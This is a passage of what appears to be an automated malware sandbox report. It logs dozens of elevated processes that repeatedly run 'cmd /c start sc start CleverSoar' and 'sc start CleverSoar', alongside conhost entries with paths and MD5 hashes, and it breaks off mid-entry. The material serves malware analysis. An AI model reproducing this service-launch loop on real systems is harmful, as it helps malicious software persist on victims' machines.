                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:30
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:31
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:32
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:33
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:34
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:35
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:36
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6ee680000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:37
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:38
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:39
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:40
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:41
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:42
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:43
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:44
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:45
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:46
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:47
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:48
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:49
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:50
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:51
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:52
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:53
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:54
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:55
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:56
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:57
                            Start time:07:02:14
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:58
                            Start time:07:02:15
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:59
                            Start time:07:02:15
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:60
                            Start time:07:02:15
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:61
                            Start time:07:02:15
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:62
                            Start time:07:02:15
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:63
                            Start time:07:02:15
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:64
                            Start time:07:02:15
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:65
                            Start time:07:02:15
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:66
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:67
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:68
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:69
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:70
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:71
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:72
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:73
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:74
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:75
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:76
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:77
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:78
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:79
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:80
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:81
                            Start time:07:02:16
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:82
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:83
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:84
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:85
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:86
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:87
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:88
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:89
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:90
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:91
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:92
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:93
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:94
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:95
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:96
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:97
                            Start time:07:02:17
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:98
                            Start time:07:02:18
                            Start date:24/12/2024
